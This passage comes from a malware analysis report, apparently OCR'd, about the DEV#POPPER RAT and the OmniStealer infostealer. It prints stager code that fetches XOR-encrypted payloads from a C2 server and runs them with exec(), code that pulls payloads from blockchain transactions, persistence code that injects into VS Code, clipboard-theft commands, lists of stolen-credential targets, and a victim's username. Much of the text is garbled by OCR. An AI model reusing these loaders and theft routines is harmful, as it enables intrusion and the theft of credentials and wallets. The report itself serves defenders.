ad%5C%5CAppData%s5Cs5CLocalsSCs5CProg rams%sS Cs5CPy thon%s5Cs5CPython313%5C%5CScripts%5Cs5C%3BC%3A%5 (%5CUserss5CsS5Ccarmen. winstead%s5C%5CAppData%s5Cs5CLlocal
C%SCAppData%5C%5CLocal%5C%5CMicroso ft%5C5CWindowsApps%3BCa3A%5 CA5CUserss5C%5Ccarmen. winstead%5C%5CAppData%5Cs5CLocals5C5CP ragrams%5C%5CMicrosoft+vs

Output B0Om::

id=DESKTOP-LI1QSPG$carmen.winstead&user=carmen.winstead&body=
{"ALLUSERSPROFILE":"C:\\ProgramData","APPDATA":"C:\\Users\\carmen.winstead\\AppData\\Roaming","COLOR":"1", " COMPUTERNAME" : "DESKTOP-
LI1QSPG","ChocolateyInstall”:"C:\\ProgramData\\chocolatey","ChocolateylLastPathUpdate":"134160073694879579","ComSpec":"C:\\Windows\
\system32\\cmd.exe","CommonProgramFiles":"C:\\Program Files\\Common Files","CommonProgramFiles(x86)":"C:\\Program Files
(x86)\\Common Files","CommonProgramW6432":"C:\\Program Files\\Common

Files","EDITOR":"C:\\Windows\\notepad.exe", "HOME":"C:\\Users\\carmen.winstead","HOMEDRIVE" :"C:", "HOMEPATH" : "\\Users\\carmen.winste
ad","INIT_CWD":"C:\\Users\\carmen.winstead\\Desktop\\crypto-shop-

main\\frontend","LOCALAPPDATA" :"C:\\Users\\carmen.winstead\\AppData\\Local", " LOGONSERVER" : "\\\\DESKTOP-
LI1QSPG","NODE":"C:\\Program

Figure 26 — Exfiltrated environment variables (URL decoded in CyberChef)

DEV#POPPER sends a request to the C2's /$/z1 endpoint to retrieve the base64 encoded + XOR encrypted
OmniStealer payload. Keep in mind this request originates from the python process started by DEV#POPPER and

is invoked in memory via python's exec() function. This is covered more in-depth in the next section.

Accept-Encoding: identity
Host: 23.27.20.143:27017
User-Agen Mozilla/5.@ (Windows NT 1@.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.08.8.8 Safari/537.36

i AEXCATKx4VU3hBciMMGVgC fTscNxws TAETIBMLImIVE 1YXW2J9KR9 fDBU3ZFIZRBIoBxAgLS1hdwxAdCcaZV8IWwwYPB5ybEMiD ithOH4CInw3JAUy cwS8Kk4RZgVRAXSVPSE+e
0xQCAgxDHhcxChd hDzECOgIXBC@ODRE/KgQj bBwrehQaEgE0bGS kGWUXE 3xnAlk1CyYuASoBGDEOF@V+ZnBFWwWAA4Y3dpbCQqbhw3R18HXTAdMNAWGEBs Iy@FNNXTI1g3GD] /Bylb
[XPAE qDwc2QmFvdF kuWS c1K2hYDRN40QVqdGs bOCd7AH8+W2Q rd2]CZns8S jd Ff3gC02MxNgQQGHN zHmkaKTwNCDBMETA0ChVj bQNmGgFj Jxc jWw4YLnwj fGM2WQt fKQs rOnwTHDg
8MeGLEGNgOY jWwPEX8zKEsBPRd 1A1x9H10BXz4nK291Ay k@0@N6c iFIXALoIRY®VZEXFAEQCQMKZSw] CBI3AXQuPAJIgHEBDCMU/QRkxcSWPE iwLKSRbfCxzGSInByExeBgAIzYCRm
ISVxAZV2Wx81JgkabDBMIhcTE1ABdx4+YHt3E1cSHwpgQHhd Axs@CSUKK2t10y4 rEg5D f TFHFyMWDhIMbhwDcx8FRm19YAwnNBstGmomEy IBRkh+FUIbMCEGaS1BeggpYDBqQzR4F

X5bXhYbczRY0S0gMA@bbwtBCAQIfiNgYCkSChBAW2ItGxwuNB4PE25YLTshJ@hWM3tUHN9nNmIAHQMSGAAZCIIHLhsYJHY ZTCINBRAWY Fpz YWRBYXBOMQKk+ND L1EntxALYbPiVN

IxkIHmsKGBlhEnxvdwEVMAccETtVPhAXIiAaDjNh]i4AZxEtcSopliA9agdcdyILB2N3GgoKDASSR19bEEEBAgQUF IDVADQk4IwVIBQ1IFRo 1IDAS4DTgPdGAY Tn11Y18PIh130wE
lg8DCMIGRIbHF 5j VC4g0CwiAWE 003QYNm 1 CcATXKGB+LmAAMXYEOUZ 1dXdAXTs401ArdicubjosHEEyVQIbHzgkb3Mu0geDMehgMwIDCB1xN2gPMyg5Fk1nUgM fKiYAID4sfBSBCS
ZNxCgF6Dj FoCSs9Gx4bdB9]Bz tFSFoyVwc1PyUNPU9BL iwkGXgY c1QDBmQgF zRPLAonJSdzexIIVRhicAFraTtAEhYwWgOmd@IuNzs3Mg4gCScpEEVWPMgnXj 1nLTBIP@AWB@xAB
F 1x+c18VXgd4EABIGD@1MDpeRHB LACNoCywDTzwoFyQ3akE)dwB6Kgo3b1@0IzYdBO1D FWQDXAFwHzgNEK1@CyBMACVEWDNMOYM rDAkVags8aldvSQoGAxolFVRuNy YUE21GHOME
CTANIWYfGk4z030YEXhYDx89IhIMEMIGKC 15IRNoBQ59D 10alGkabDMMdhe feWIWB18BGzsMFEpKS 1AaG2FSFFENDWIJKApXZDBSAEVeW3ImNTImOgUI CShPKzRTY@QWXgI /Zz]

Figure 27 — Get OmniStealer first stage (XOR encrypted and base64 encoded)

Loader Functionality - DEV#POPPER RAT

Loading DEV#POPPER RAT involves execution of an additional stage "Stage 4" that is near identical in
obfuscation to Stage 1 (see Figure 4) so we will not cover it in-depth, however its purpose is to retrieve and
deobfuscate the DEV#POPPER RAT JavaScript code from a chain of crypto addresses.
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try {
X = Y
Z = '4#uLeVMI31ESLGA';
a@ = Z.length;
al =
for ( a2 = 0x0; a2 < Y.length; a2++) {
a3 = Y.charCodeAt (a2},
a4 = Z.charCodeAt(a2 % a@);
al += p.String.fromCharCode(a3 ~ a4);
Iy
return al;
}(atob( 'HEUAIgYiJDRdRGwo01iYzFGYRIFhxandDDSBuenN4GRVGAF4w0DVQGCwBImcGUV1dIUwt0zpBTC5uf3NxDRtBeF4gLCkTA3g6YiskWkQBIF4gLCKkTHNngIEXwnW1FdOgQkbSEOXHApcCh6'
if (1X) throw Error(‘clientCode is null');
x.spawn( ‘node', ['-e*, 'globall\'_V\'l=\"' + q + '\';global[\"'r\' I=require;globall\'m\']=module;"' + XI, {
‘detached': 1!
'stdio': 'ignore',
'windowsHide': 1!
on('error' (Y) {}), eval('global[\'e\']=\"'boot-eval\';' + X), y === ‘linux' && B.includes('microsoft-standard-WSL2') && x.spawn('node.e
‘detached

'windowsHide': !!
}).on('error', (Y) {});
catch (Y
M(z + '$' + A+ '/ '+ C+ '\nfailed to run clientCode: ' +Y);

Figure 28 — Load DEV#POPPER RAT staging code

After deobfuscating Stage 4, we can see that it calls the function "t" and passes an XOR key, Tron address, and
Aptos address (as a fallback option). After the function returns, it executes it via the eval function, effectively
finding/deobfuscating/decrypting the DEV#POPPER RAT source-code from across crypto networks (Tron ->

Ethereum).

try
n = await t('cA]2!+37v,-szeU}', 'TLmj13VL4p6NQ7]pxz8d9uYY6FUKCYatSe', '0x3414a658f13b652124301e98619e0079e1506992472c1d5224180340d8105837");

eval(n);
catch- (t
i['_R'] & i['_R']('failed to run clientCode: ' + t + '');

Figure 29 — Stage 4 JavaScript that evaluates code obtained from Ethereum transaction history

The "t" function that we discussed previously can be seen in the figure below. The purpose of the first request
shown is to acquire the Ethereum address in the response data via Trongrid or Aptos as a fallback, which is hex

encoded.
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t(o, t,'n
r;
if (_$af989571 ==
_%af989571(1,
_%$af989571 =
return;

b
t

ry {
r = i['Buffer']['from']((await a('https://api.trongrid.io/v1/accounts/' + t + '/
transactions?only_confirmed=true&only_from=true&limit=1'))['data'] [@] ['raw_data’
'data'], 'hex')['toString']('utf8')['split']1('')['reverse']()['join"']1(""');

if-(1r) - {
throw Error();
¥
catch (t) {
if (!_%$af989571) {
return;
hH
r = (await a ‘https://fullnode.mainnet.aptoslabs.com/vl/accounts/' + n-+ '/
transactions?limit=1')) [@] ['payload'] ['arguments'] [@];

Figure 30 — Stage 4 JavaScript that gets Ethereum transaction address from Tron network

The next figure shows the raw response data returned by Trongrid. When the hex-encoded content is decoded, it

reveals the Ethereum transaction address
0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5£82954. This same address was also
cited by Ransom-ISAC in their October 27, 2025 blog post, "Cross-Chain TxDataHiding Crypto Heist: A Very

Chainful Process (Part 2)", underscoring that data stored via crypto-networks is effectively permanent.

9] E] trongrid.io;

Figure 31 — Raw response from API request to Trongrid containing hex-encoded Ethereum

transaction address

Next, a POST request is sent to bsc-dataseed.binance.org (Binance Smart Chain) or bsc-rpc.publicnode.com

(PublicNode) as a fallback option. The response data is deobfuscated and decrypted via XOR key, "cA]2!+37v,-
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szeU}", where it is returned and executed via eval as we previously discussed.

}
e = 1i['Buffer']['from']((await s{'eth_getTransactionByHash', [r], ‘'bsc-dataseed.binance.org"))['result']['input" substring’
‘hex')[*toString'](*utf8') [*split']('7.7")[1];
if (le) {
throw Error();
}
} catch (t) {
e = i['Buffer']['from']((await s{'eth_getTransactionByHash', [rl, \'bsc-rpc.publicnode.com'))['result']["input']['substring'1(2), 'hex")
['toString'] ('utf8') ['split']1('?.7")[1];
}

if (1_$af989571) [

returnﬂ
K else {
return-(n
r-=ol'length'];
e ="'
for ( t 8; t <nl['length']; t++) {
o['charCodeAt'] (t % r);
e += i['String'] ['fromCharCode'] (n['charCodeAt"'

}

return e;

){e);

Figure 32 — Retrieve and decrypt DEV#POPPER RAT from Ethereum transaction data

For clarification purposes, the next figure displays the hex-encoded source code for DEV#POPPER RAT stored in
the Ethereum blockchain:

£) bscscan.com,

BNB Price: $655.33 (+4.02%) ) Gas: 0.1 Gwei Search by Address / Txn Hash / Block / Token / Domain Nan

(@) Other Attributes: Monce: 153 Position In Block: 85
DEV#POPPER RAT (obfuscated, hex)

@ Input Data: Bx3f2e3f4b27285c425f5a5818044c57184c2e1edc2T2e46014a03531411561240552d4c@72771501b1b4b@44
-h~h~‘*~.-‘-;i;:614f576d3988@66?411d5(Bb@l164@552d4e@S2371541b@(ﬂ@664215055fld5f?217082c2515@d43@9ﬂ70
650550246c470d4a03531711561240552d495b3c7153114f0aPa@d4d1743025731491e6d3c0245130e4c1
495030004 1206d56161648564c1c55414d032851027139041c50520d46541911875e33080d22295b4€4513562
184c2e006352840470b520712044f5e5248344d077773530d4a1adc@bla581d19113c120d613c7d094al1f555
0e10271343206d5609491e175b4d1d174d4b34510268664 f475e5d540245421d52041855026d3F1b5a5956430.
1b553155026c7d1401b570F584d0111535e281b16213e4648445d171762051256077c0611242947534513564
5745781c5325641c4007521e4d514e1c1416215d007c3c1aBB105542184f591a150b751c33693c1e430248451.
1445344d07693c1f401b5756584d0111535e28020b283157090a126c2b055607081c2eledc2f2e46014fDelad!
1f2c3b094b20101a401b5755584d015400212d4b4468741d1153021d5e015d12081630340d3575536c031e564

Figure 33 — Input data shown in bscscan containing obfuscated/hex-encoded DEV#POPPER RAT

The next figure simulates the same behavior but in CyberChef, decoding from UTF-8, splitting by the string,
"?.?", and decrypting via XOR, revealing Stage 5 (DEV#POPPER RAT).

Recipe ~0m B npuw +DOEi=
From b . Bx3f2e34b27285c425 5258180445 F184¢ 2e1e0C2F246014a03531411561240552d40072771501b1b4b044160449421d614f 5764390806 67411
rom Hex

Delimite

Ox

Decode text

Encoding

UTF-8 (65001)

Find / Replace

Find Replace
AR el == _ Deobfuscated DEV@POPPER RAT source code

me 182164 = 1 Tr Raw Bytes € L

BO®::

Global match [ case insensitive Multiline matching Output

(function(a,b){const

Dot matches all a0db={a:ex1df,b:@x37,c:0xd24,d: 'Lr**' ,MOx3fb,f:'3046' ,g: 'jkmx ', h:exfc,i:ex3e1},a0da={a:0x48}, a0de={a:ex2d4}, a0d8={a:0x
Se},a0d7-{a:@x27F},a0d6={a: Bx4b};Ffunction aQ(a,b){return a@d(b- -a@d6.a,a);}function a0(a,b){return ad(b- -a8d7.a,a);}
function aM(a,b){return a@d(a- -adds.a,b);}function aN{a,b){return aed(b- -aed9.a,a);}const c=a();function ap(a,b)

XOR A {return add(a-adda.a,b); Jwhile(!1[]){try{const d=-parselnt(al(abdb.a, zDx6’))/@x1*(-parseInt(al(-addb.b, 'b1fG"))/Bx2)+-

parseInt(aN('m$Pk’,a0db.c))/@x3+-parselnt (al(aédb.d,0x20c))/Oxd+-

parselnt(al(8x3f, 'p63c’))/axS+parselnt(al('Lr**',abdb.e))/6x6* (-parselnt (aN(aedb. f,0x41))/0x7)+-

parselInt(a0(a@db.g,a@db.h))/8x8*(-parseInt(a0( ws~1",a@db.1))/8x0)+parselnt (a0’ zDx6" ,@xA1e) ) /Oxa; iF(

c['push®I(c[ shift']());}catch(e){c[ push'](c[ 'shift']());}}}(a8c,0x74d67)); function aed(a,b){const c

abd=function(d,e){d=d-Bx1d7;1et f=c[d];if(add['JIVEVK' ]===undefined){var g=function(1){const

m="abcdefghi jklmnopgrs tuviixyz ABCDEFGHIJKLMNOPQRSTUVIXYZ0123456780+/=" ; let n="",0="",p=ng;for(let

q=0x@, 1,5, t=0x0; s=1[" charAt" ] (t++) ;~sB&(r=qOx42r*0xd0ss : s, q++%0x4) In+=p[ ' charCodeAt ' ] (t+Bxa)-bxa ! ==0x8?

String[ " fromCharCode’ ] (BxFFars> (-8x2*q&Ax6)) :q:@x0) {s=m[ *index0f ' ](s); Hor(let u=0xe,v=n['length’ ];ucviutt)

{o+="%"+(" 08" +n[ ' charCodeat"](u)[ ' tostring'](ex1@))[ 'slice’ ](-ex2);}return decodeURTComponent(o);};const k=Function(l,m

cren m {let n=[1,0=8x8,p,q="";1=g(1);let r;for(r=0x0;r<@x160;r++){n[r]=r;}or(r=0x8;r<Bx188;r++){o=(o+n[rl+n[’charCodeAt"]

Key

cAl214+37v,- . TN Standard O wull preserving
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Figure 34 — CyberChef view of deobfuscating the input data (DEV#POPPER RAT source code)
Loader Functionality - Omni Stealer

Loading Omni Stealer involves first downloading a portable python zip archive from the C2 and extracting it via
tar or as a fallback, via 7-Zip. This is followed up by execution of an inline python expression via python -c to
execute the stager code that downloads/decrypts another stage that ultimately deploys OmniStealer, a python-

based information stealer.

PDATA || u.join(t.homedir(), ‘AppData‘, ‘Local’)
hon\\Python3127"

Figure 35 — OmniStealer stager python script

After beautifying the stager code, we can see that it sends a request to the C2, decrypts the response via XOR key,
"9KyASt+7DOmjPHFY", and executes the decrypted result via python's exec() function.

It uses the same user agent as the stager that acquires DEV#POPPER, "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36".

code = """
import sys,base64
from urllib.request import Request,urlopen;
def x(a,b):
kn=len(b); c=bytearray(len(a))
for i in range(len(a)):c[il=alil~ord(b[i%kn])
return c
if __name__=='__main__':
if len(sy: rgv)<2:print(‘'invalid args');sys.exit(

. v[1] ;sys._vl=sys.argv[2]if len(sys.argv)>2 else'';sys._v2=sys.argv[3]if len(sys.argv)>3 else None;sys.argv=sys.argv[:1]
try:exec(x(base64.b64decode(urlopen(Request(f'" + r + '/$/ ' ,headers={"'User-Agen illa/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
131.0.0.0 Safari/537.36'})).read().decode('utf-8')), '9KyASt+7D0mjPHFY').decode( 'utf-8'),globals())
except Exception as ex:print(ex)

import os,sys,subprocess

_vl=sys.argv[1]if len(sys.argv)>1 else '’

_v2=sys.argv[2]if len(sys.argv)>2 else '’

if sys.platform.startswith("win"):flags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP

(-H )

subprocess.Popen( [sys.executable, '-c',code, 'z1l',_v1,_v2],creationflags=flags,preexec_fn=os.setsid if flags==0 else

print|("</?>"))

Figure 36 — First stage python script that retrieves second stage

The following CyberChef recipe can be used to decrypt a response captured from the C2 for this stage:

Regular_expression('User defined', '\\x0d\\x@a\\x@d\\x@a(.*)"', true,true,true,false,false,false, 'List capture gr«
From_Base64('A-Za-z0-9+/=",false, false)
XOR({'option':'Latin1', 'string":"'9KyASt+7D@mjPHFY"}, 'Standard', false)

The next stage serves to execute the final stage (OmniStealer) through the following steps:

e Reverse the large bytes object
e Base64 decode
e Inflate via zlib.decompress

o Execute the result via python's exec() function
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obfDecode{data): return __import__('zlib').decompress(__import__('base64').b64decode(datal::-1]))

exec(obfDecode(b'=s2uMUgB/rzelc LIJRWK7S18F luZZq1DPVvpNwHIZUH9Q9LFzkTa0lEtK8cw@riDSMevpOtOr+ARqRN73XSh+4rTVbsMpUvc4/ybss+iaFAi6tqm91QZChEST
rdo2k2mWeX3vxM2j+5XDMykHI8v9t2h6dzSdnZY2kmtx+VP7M8y1808200e55FK1xA7Y21r17EnQXLTubF7cNg/5ZQP+rWAql1k1luaKsng9fvBTcgaRfiaR3DMnwZj6S5F0xa7Zs
+64bullPOqrk5BArZTzuhIDKu@jdxrqzS/EbHoHUaulSgr2VUiB2W5mst20JYyLSH1KbxtnCAbVeKda/ehXFUS5ABfycywrS0/DS02Q/6FBIydMblcV/jL10xVagWm8IcL9n/
GLO1gsP908baSZ7G63Kud6NI6g15sbea2MXMIASrvaZet 1z9WkBbMDZzePuwGeEUPcGKpAPWNpK@OUi1uQEM3tdrK15pi13ID7z rVRq1IUXEWR190MN7n2CI5YCYI13ffYYZziG54Yqw:
yUdUKDX2pKgdlaip2bk0q@uC2kdLHd5 rpM2y/ rrtXNwWmj EbbtFM+yF@2CT/axni5V3ssIMgqjbaGS1zgH7btbE2F8Gxydd1cQGpGsEspsKrFsZoZcYGbPjWgMn5DhDyED4g3B61d
+zSTfBIZ1nGRqUNna8Z6ISGr8ZzpJ81j0y@FcoowreCekEGmGATAGYHI66HbHbOpANww+Yk Ln8x ] Y+VEKSItILqVz2H2gpDmcInFDXYU@OYDK/bCDqIMNTmkBtYbspHvy riNE114]7
+sVbIWKirgugAK1KTnFfGSXVGIEYLWHO8 fIkaLIvKpbhNP71qldzl7/SkQ7ZIH8uyCjdOwbZF1B1lc7W985k7zboLBHevZ/gOMp2hvdpMNqUTISPESP/cz/uulb8VNK24 roUjG/ Ok
Y3065+1WgBF/seoXyQeguB2b9xz fKQzg/vrourhP3Rj+Z5cnaHwsdhszdB233y51g8K1gI+XvzDeSENTQT LcOmWyvxqila9FILPoX 18k8DvZYMWC isweHKEwU2XqfoL3Zuh7EwRzP
+ect5zQul ftZWI9XVboB8oXu88vmubBj5shtILekwGNHI8 FFtVEYQVs@ZeTQP10k8845qqI6VELIhRLWGLErCOxiy/iJXygxr55xJysjuUDriXINId1606Pk@FLWMOuLcmPxPSBm/gwR}
Tedho9FYnBCeI2MAv1vOCR62FeZkw/2EWu322xwsmNykk4410yCsiCj fFFN4750bCquRtUWkZI+3yGj sRyeTkS4vU+riStyZ7zt2Ve/Kw+ilByXDla9ucvz27zxh9IN5+We3l
+03omwUp LIPvKvH4] rfFSSZxDF j xkTj rHYeW6Z9upaRWALbRIWTLBbCfn/04irhzILn63DiR2nLp63dwmfMiFmB80o7s0]1GqfD2dFII0Pxyhyg451jz5MetDIRYSiDb0iGsvmugdmvg
9xWyDcWCXPLg21jBsqS4yACQWvuyDvhcicUQoHI4IR]jVy8tQargktXZuAPjUn9DGOW+jg/gbkWgs/iv3PMcruRUICU+r1/IY ImxdYuabLWWRVNysC@420iCZNWg/2jUAzqQvall/’
+LuxBMcvwv7sfzOKIJZ6k6By cOPxCIuNoy3WeDZAWEd3L7iEILpT2WENHPeYOEIYTOkWxmkgGBPc4cSIxr8WfWgj /R/p59vatNtxfN9z+7VfBL4a/3PtYsinybS1unYt7IabIF97q
+aVLbFqb4glySjgmLEakNoVKPErIGXZKsjS0rcqahxNamiZmkcvQKr0317hal9YN7F31jcOmU31iigcNgn+L183w3qjcXzPnZcZzalloGVdVrK5h5ukp43YqWvBATHwdQVoXde6bO

Figure 37 — Second stage python script that decrypts and executes OmniStealer

The following CyberChef recipe can be used to emulate this behavior and decrypt the final stage:

Regular_expression('User defined', 'obfDecode\\(b\'(.*?)\"\\)\\)', true,true,false,false,false,false, 'List captul
Reverse('Character')
From_Base64('A-Za-z0-9+/=",false, false)
Z1ib_Inflate(@,0, 'Adaptive', false, false)

DEV#POPPER RAT Analysis

Deobfuscating the RAT is a simple task using the tool we previously mentioned in this blog. The RAT establishes
persistent C2 communications via the NPM package socket.io-client , where it listens for commands from the C2

and sets up persistence by injecting code into several applications that make use of Node.js.
Commands

The following table lists commands supported by the RAT and associated description.

Command Description
cd/ss_fed Change current directory

System fingerprinting information sent back to C2 including campaign ID, OS information,
ss_info Node.js information, directory where the RAT is executing, time of infection, and victim

clipboard contents.

ss_ip Victim IP geolocation data retrieved from http://ip-api.com/json
ss_cb Clipboard theft

ss_upf Upload single file to the C2

ss_upd Upload directory to the C2

ss_dir Reset current directory to current working directory

sS_stop Stop ongoing upload
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ss_inz Inject stager code for itself into specified file

ss_inzx Remove injected stager code from specified file

ss_connect = Change C2 server

ss_eval Execute arbitrary/threat actor C2-specified JavaScript code

ss_eval64 Execute arbitrary/threat actor C2-specified base64 encoded JavaScript code
Clipboard Theft

The victim's clipboard is captured by running various commands depending on the victim host OS:

e Windows: powershell -NoProfile -Command "Get-Clipboard"

¢ macOS

: pbpaste

e Linux: xclip -selection clipboard -o

o Linux (fallback option): xsel --clipboard --output

, €
if

1)
if

}

._CB =

(m === 'win32') return k.execSync('powershell -NoProfile -Command "Get-Clipboard"',
'encoding': 'utf8',

'windowsHide': !!

I
1

(m === 'darwin') return k.execSync('pbpaste’, {
'encoding': 'utf8',
'windowsHide': - !!

(m === "'linux') try {

return k.execSync('xclip -selection clipboard -o',
'encoding': 'utf8',
'windowsHide': 11[]

)
catch {
return k.execSync('xsel --clipboard --output',
'encoding': 'utf8',
'windowsHide': !![]
)

Figure 38 — Clipboard theft cross-platform

Persistence

DEV#POPPER RAT appends JavaScript code of the prior stage we discussed (Stage 4) at the end of JavaScript

files belonging to many different applications that internally make use of Node.js including, Visual Studio Code,

GitHub Desktop, Discord, Cursor, and Antigravity.

When one of those applications start, the stager code executes - DEV#POPPER RAT source code is retrieved in

the same manor as previously described and executed in memory. The RAT hard-codes paths for compatibility

across Windows, Linux, and macOS.
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}(atob( 'HEUAIQYiJDRARGwWo01iYzFGYRIFhxandDDSBuenN4GRVGAF4wODVQGCWBIMCGUV1dIUwt0zpBTC5uf3NXDRtBeF4gLCkTA3g6Y1iskWkQBIF4gLCKTHNgIEXwnW1FdOC

e.inz =]'global[\' W\']=\"'' + f + '\';globall\'r\']l=require;global[\'m\"]=module;' + S;

try {
T;

if-(n

U = d.process.env.LOCALAPPDATA || i.join(h.homedir(), "AppData‘', 'Local'});
T = i.join(U, 'Programs\\Microsoft VS Code\\resources\\app\\node_modules\\@vscode\\deviceid\\dist\\index.js"};
if (!j.existsSync(T)) T =

else
if (m === 'darwin') {
T = '/Applications/Visual Studio Code.app/Contents/Resources/app/node_modules/@vscode/deviceid/dist/index.js";
if (j.existsSync(T)) j.accessSync(T, j.constants.R_OK | j.constants.W_0K);else T =
} else {
T = '/usr/share/code/resources/app/node_modules/@vscode/deviceid/dist/index.js';
if (!j.existsSync(T)) T = B
}

Figure 39 — Persistence by injecting into benign applications that use Node.js

LLM Generated

It is possible that the threat actors used an LLM to generate the source code for the RAT, given the extensive use

of emojis, or that they prefer to see emojis prepended to debug messages sent to their C2 backend.

if (d.pro
U
UH

j.writeFile(P, T + ' g ' ".repeat(@xc8) + B + ‘g

W

/2w (A

Figure 40 — Extensive use of emojis throughout DEV#POPPER RAT
OmniStealer Analysis
OmniStealer is around 1,000 lines of python code and targets the following:

o Chromium-based browser passwords, history, credit cards, cookies, cryptocurrency extension folders.
o Desktop-based cryptocurrency applications:

o Solana

o Monero GUI

o Bitmonero

o Dogecoin

o Bitcoin Core

o Electrum

o atomic

o Exodus
 Git credentials
e Credentials stored in Windows Credential Manager
 Visual Studio Code extension storage files (state.vscdb, state.vscdb.backup, storage.json)
 Firefox passwords, history, cookies.

e Keychain database (macOS)
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e GNOME Keyring (Linux) -> connects to org.freedesktop.secrets service -> searches for schema
"chrome_libsecret_os_crypt_password_v2" -> retrieves encryption password

o KDE Wallet (Linux) -> connects to org.kde.kwalletd5 via D-Bus -> opens wallet folder "Chrome Keys" /
"Brave Keys" -> reads password from "Chrome Safe Storage"

e Environment variables
The malware installs the following dependencies via pip:

e pyzipper - Used in archiving harvested files/credentials via AES algorithm
e psutil - Process termination for non-Windows OS, otherwise taskkill is used: taskkill /f /im
<process_name>

 requests - To facilitate data exfiltration over HTTP to C2 or Telegram chat
Targeted Web Browsers

e Google Chrome
e Microsoft Edge
o Firefox

¢ Opera/Opera GX
e Arc

Targeted Cloud Storage Directories

¢ macOS/Linux:
o ~/pCloud/Cache
o ~/Downloads/MEGA Downloads
o ~/Documents/MEGA
o ~/MEGAsync
o ~/Box
o ~/iCloud Drive
o ~/SkyDrive
o ~/OneDrive
o ~/My Drive*
o ~/Dropbox*
o ~/Library/CloudStorage
e Windows:
o %UserProfile%\Dropbox*
o %UserProfile%\My Drive*
o %UserProfile%\OneDrive
o %UserProfile%\SkyDrive
o %UserProfile%\iCloud Drive
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CF():
j="'/mnt';i="~/pCloud/Cache';h="'~/Downloads/MEGA Downloads';g="'~/Documents/MEGA"; MEGAsync';e='~/Box';
~/iCloud Drive';c="~/SkyDrive';b="'~/0neDrive';a="~/My Driv r ="'pCloud’ ;U="Box"';
iCloud";S='SkyDrive';R='0OneDrive';P='GoogleDrive";0='Dropbox'; M 3 ['[Al1l Done]']
G.platform==Q:
import string as k;l=k.ascii_uppercase;X=[]
for-Y-in-1:
m=F"{Y}:\\"
if A.path.exists(m):X.append({f"{Y}:")
3 erProfile%s\\My Drivex':P,
\iCloud Drive':T,
MEGAsync':L, 'sUserProfile%\\Documents\\MEGA':L,
serProfile%\\Downloads\\MEGA Downloads':L," calAppData%s\\pCloud\\Cache':V}
for-D-in I:
try:
E=A.path.expandvars(D)
if W =
for J in C.gleb(E):
if A.path.isdir(J}and A.listdir(J):H.append(B(f"{I[D]}: {3}"))
elif A.path.isdir(E)and A.listdir(E):H.append(B(f"{I[D]}: {E}"))
except F as M:H.append(B(f"Error {D}: "+K(M)))
elif G.platform==p:
N=A.path.expanduser('~/Library/CloudStorage')
if A.path.isdir(N)and A.listdir(N):
for D in A.listdir{N):H.append(B(A.path.join(N,D)))
else:H.append(B('No CloudStorage'))
I={|z:0,a:P,b:R,c:S,d:T,e:U, f:L,g:L,h:L,i:V}
for-D-in-I:
try:
E=A.path.expanduser(D)
if W =
for J in C.glob(E):
if A.path.isdir(J)and A.listdir(J):H.append(B(f"{I[D]}: {J}"))
elif A.path.isdir(E)and A.listdir(E):H.append(B(f"{I[D]}: {E}"))
except F as M:H.append(B(f"Error {D}: "+K(M)))
else:
I={Z:0,a:P,b:R,c:5,d:T,e:U,f:L,g:L, h:L,1:V}
D in I:

Figure 41 — Function responsible for targeting cloud storage services

Crypto-currency Wallets

The following table lists cryptocurrency wallets targeted by the stealer.

Extension/Folder Name Description
dmkamcknogkgcdfhhbddcghachkejeap Keplr
acmacodkjbdgmoleebolmdjonilkdbch Rabby Wallet
idnnbdplmphpflfnlkomgpfbpcgelopg Xverse
nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask
mcohilncbfahbmgdjkbpemcciiolgcge OKX Wallet
ibnejdfjmmkpcnlpebklmnkoeoihofec TronLink
egjidjbpglichdcondbcbdnbeeppgdph Trust Wallet
ejbalbakoplchlghecdalmeeeajnimhm MetaMask
bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom
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nngceckbapebfimnlniiiahkandclblb
eiaeiblijfjekdanodkjadfinkhbfgcd
fdjamakpfbbddfjaooikfcpapjohcfmg
aeblfdkhhhdcdjpithhbdiojplfjncoa
hnfanknocfeofbddgcijnmhnfnkdnaad
hdokiejnpimakedhajhdlcegeplioahd
gejiddohjgogedgjnonbofjigllpkmbf
khgocmkkpikpnmmkgmdnfckapcdkgfaf
dppgmdbiimibapkepcbdbmkaabgiofem
fooolghllnmhmmndgjiamiiodkpenpbb
pnlccmojcmeohlpggmfnbbiapkmbliob
bfogiafebfohielmmehodmfbbebbbpei
ghmbeldphafepmbegfdlkpapadhbakde
hlcjpjebakkiaolkpceofenleehjgeca
hihnblnamcfdfdjamdhhcgnpmkhmecjm
folnjigffmbjmcjgmbbfcpleeddaedal
njimencmbpfibibelblbbabiffimoajp
deelhmmhejpicaaelihagchjjafjapjc
fjbgpaheigpmkbdkdfghmkbnkpeofmhh
lgbjhdkjmpgjgcbedlhkokkckpjmedgc
mmbhlniccooihdimnnjhamobppdhaolme
cnlhokffphohmfcddnibpohmkdfafdli
kmcfomidfpdkfieipokbalgegidffkal
nhhldecdfagpbfggphklkaeiocfnaafm
khhapgacijodhjokkcjmleaempmchlem
didegimhafipceonhjepacocaffmoppf

jgnfghanfbjmimbdmnjfofnbcgpkbegi
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Bitwarden Password Manager
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Exfiltration

All harvested data is written to a password protected zip archive and exfiltrated to the C2 over HTTP. The

password used in encrypting the archive is: ",./,./,./". The figure below displays the contents of a sample zip

archive. On the surface, we can immediately see that the victim's login keychain database was stolen.

_info.json app2 legin login-db login.keychain-db

Figure 42 — Exfiltrated zip archive (unzipped, macOS)

The _info.json file contains a JSON formatted list of information about the victim system, campaign ID, hardware

ID, user ID, timestamp, etc.

“"channel": "A9-19",

"pc name": - "MacBook-Pro. local",

“pc_login™:

"pc_info": "mac0S-13. 7 8-xB6_64-1386-64bit",
“path": | /move—-marketing",

"uuid": "00000000-0000- e

Ysid": "I S o
"inz_ext_count": 1,

“python": "/Library/Developer/CommandLineTools/usr/bin/python3",

“"timestamp":

“"client_utc": "2026-03-03

Figure 43 — Victim _info.json file

As a fallback option, exfiltration occurs via Telegram via chat/group IDs: 7699029999, 7609033774, and
-4697384025.
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B4(filename) :

C=filename;B(f"telegram-uploading: {C}");E=A.path.getsize(C)/1048576

